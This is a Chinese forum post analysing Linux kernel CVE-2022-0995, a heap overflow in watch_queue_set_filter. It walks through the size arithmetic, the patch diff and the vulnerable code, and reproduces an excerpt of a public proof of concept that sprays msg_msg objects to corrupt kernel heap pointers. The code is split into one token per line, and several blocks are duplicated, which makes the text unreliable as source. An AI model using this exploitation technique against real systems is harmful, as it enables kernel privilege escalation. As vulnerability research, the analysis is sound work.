此漏洞与CVE-2021-22555利用方式相似。
根据补丁位置,大致可以看到watch_queue_set_filter此位置很有可能是溢出点。
查看相关代码,分配的watch_type_filter数量nr_filter为 tf[i].type < sizeof(wfilter->type_filter) 8
而访问q = wfilter->filters; 则是 tf[i].type >= sizeof(wfilter->type_filter) BITS_PER_LONG.
sizeof(wfilter->type_filter) BITS_PER_LONG > sizeof(wfilter->type_filter) 8
所以这里因该是会造成访问越界地址的问题。只要 sizeof(wfilter->type_filter) BITS_PER_LONG > tf[i].type > sizeof(wfilter->type_filter) 8。
根据poc
可以看到struct watch_notification_filter 是直接从用户态传进来的。sizeof(wfilter->type_filter) BITS_PER_LONG = 1664 = 1024, sizeof(wfilter->type_filter) 8 = 168 = 128;0x30a = 778;
struct watch_type_filter 占 16 个字节。
poc中nfilters=4, type=778的有占其中一个。其余type=1。
也就是内核分配了 16 + 4 + 4 5 3 = 80 而可以访问的范围确实 16 + 4 + 4 5 4 = 100.
越界的大小为 100 - 80 = 20。
poc 里堆喷了2000*96字节的堆。释放1950和0位置上的msg。重复50次堆喷。大致又是这样。
msg_msg = 8*2 + 8 + 8 + 8 + 8 = 48 = 0x30。
也就是primary_msg的next的后四个字节将会被写成零。这样将造成与CVE-2021-22555利用过程翻译相同的情况。
这个在cve-2021-22555中有详细的解释,不说了。
poc https://github.com/Bonfee/CVE-2022-0995
@@
-
320
,
7
+
319
,
7
@@
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/
*
Ignore
any
unknown types
*
/
-
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
8
)
+
if
(tf[i].
type
>
=
WATCH_TYPE__NR)
continue
;
nr_filter
+
+
;
}
@@
-
336
,
7
+
335
,
7
@@
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
q
=
wfilter
-
>filters;
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
-
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
BITS_PER_LONG)
+
if
(tf[i].
type
>
=
WATCH_TYPE__NR)
continue
;
q
-
>
type
=
tf[i].
type
;
@@
-
371
,
6
+
370
,
7
@@ static void __put_watch_queue(struct kref
*
kref)
for
(i
=
0
; i < wqueue
-
>nr_pages; i
+
+
)
__free_page(wqueue
-
>notes[i]);
+
bitmap_free(wqueue
-
>notes_bitmap);
wfilter
=
rcu_access_pointer(wqueue
-
>
filter
);
if
(wfilter)
@@
-
566
,
7
+
566
,
7
@@ void watch_queue_clear(struct watch_queue
*
wqueue)
rcu_read_lock();
spin_lock_bh(&wqueue
-
>lock);
-
/
*
Prevent new additions
and
prevent notifications
from
happening
*
/
+
/
*
Prevent new notifications
from
being stored.
*
/
wqueue
-
>defunct
=
true;
while
(!hlist_empty(&wqueue
-
>watches)) {
@@
-
320
,
7
+
319
,
7
@@
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/
*
Ignore
any
unknown types
*
/
-
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
8
)
+
if
(tf[i].
type
>
=
WATCH_TYPE__NR)
continue
;
nr_filter
+
+
;
}
@@
-
336
,
7
+
335
,
7
@@
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
q
=
wfilter
-
>filters;
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
-
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
BITS_PER_LONG)
+
if
(tf[i].
type
>
=
WATCH_TYPE__NR)
continue
;
q
-
>
type
=
tf[i].
type
;
@@
-
371
,
6
+
370
,
7
@@ static void __put_watch_queue(struct kref
*
kref)
for
(i
=
0
; i < wqueue
-
>nr_pages; i
+
+
)
__free_page(wqueue
-
>notes[i]);
+
bitmap_free(wqueue
-
>notes_bitmap);
wfilter
=
rcu_access_pointer(wqueue
-
>
filter
);
if
(wfilter)
@@
-
566
,
7
+
566
,
7
@@ void watch_queue_clear(struct watch_queue
*
wqueue)
rcu_read_lock();
spin_lock_bh(&wqueue
-
>lock);
-
/
*
Prevent new additions
and
prevent notifications
from
happening
*
/
+
/
*
Prevent new notifications
from
being stored.
*
/
wqueue
-
>defunct
=
true;
while
(!hlist_empty(&wqueue
-
>watches)) {
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
if
((tf[i].info_filter & ~tf[i].info_mask) ||
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/
*
Ignore
any
unknown types
*
/
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
8
)
continue
;
nr_filter
+
+
;
}
/
*
Now we need to build the internal
filter
from
only the relevant
*
user
-
specified filters.
*
/
ret
=
-
ENOMEM;
wfilter
=
kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if
(!wfilter)
goto err_filter;
wfilter
-
>nr_filters
=
nr_filter;
q
=
wfilter
-
>filters;
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
BITS_PER_LONG)
continue
;
q
-
>
type
=
tf[i].
type
;
q
-
>info_filter
=
tf[i].info_filter;
q
-
>info_mask
=
tf[i].info_mask;
q
-
>subtype_filter[
0
]
=
tf[i].subtype_filter[
0
];
__set_bit(q
-
>
type
, wfilter
-
>type_filter);
q
+
+
;
}
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
if
((tf[i].info_filter & ~tf[i].info_mask) ||
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/
*
Ignore
any
unknown types
*
/
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
8
)
continue
;
nr_filter
+
+
;
}
/
*
Now we need to build the internal
filter
from
only the relevant
*
user
-
specified filters.
*
/
ret
=
-
ENOMEM;
wfilter
=
kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if
(!wfilter)
goto err_filter;
wfilter
-
>nr_filters
=
nr_filter;
q
=
wfilter
-
>filters;
for
(i
=
0
; i <
filter
.nr_filters; i
+
+
) {
if
(tf[i].
type
>
=
sizeof(wfilter
-
>type_filter)
*
BITS_PER_LONG)
continue
;
q
-
>
type
=
tf[i].
type
;
q
-
>info_filter
=
tf[i].info_filter;
q
-
>info_mask
=
tf[i].info_mask;
q
-
>subtype_filter[
0
]
=
tf[i].subtype_filter[
0
];
__set_bit(q
-
>
type
, wfilter
-
>type_filter);
q
+
+
;
}
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
struct watch_notification_filter __user
*
_filter){
...
tf
=
memdup_user(_filter
-
>filters,
filter
.nr_filters
*
sizeof(
*
tf));
...}
long
watch_queue_set_filter(struct pipe_inode_info
*
pipe,
struct watch_notification_filter __user
*
_filter){
...
tf
=
memdup_user(_filter
-
>filters,
filter
.nr_filters
*
sizeof(
*
tf));
...}
do {
ntries
+
+
;
filter
-
>nr_filters
=
nfilters;
for
(
int
i
=
0
; i < (nfilters
-
1
); i
+
+
) {
/
/
choose kmalloc
-
96
filter
-
>filters[i].
type
=
1
;
}
/
/
Set
1
bit oob to
1
, hopefully we overwrite a msg_msg.mlist.
next
which
is
not
2k
aligned
filter
-
>filters[nfilters
-
1
].
type
=
0x30a
;
/
/
0x300
-
>
96
bytes oob,
0xa
-
>
2
*
*
10
=
=
1024
if
(pipe2(fds, O_NOTIFICATION_PIPE)
=
=
-
1
) {
perror(
"pipe2()"
);
exit(
1
);
}
/
/
Spray kmalloc
-
96
spray_msgmsg();
delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY);
/
/
kmalloc
delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY);
/
/
memdup
/
/
Filter
go
if
(ioctl(fds[
0
], IOC_WATCH_QUEUE_SET_FILTER,
filter
) <
0
) {
perror(
"ioctl(IOC_WATCH_QUEUE_SET_FILTER)"
);
goto err;
}
check_corruption();
if
(corrupted_idx !
=
-
1
)
break
;
cleanup_msgmsg();
}
while
(ntries < CORRUPT_MSGMSG_TRIES);
do {
ntries
+
+
;
filter
-
>nr_filters
=
nfilters;
for
(
int
i
=
0
; i < (nfilters
-
1
); i
+
+
) {
/
/
choose kmalloc
-
96
filter
-
>filters[i].
type
=
1
;
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-4-2 11:36
被inquisiter编辑
,原因: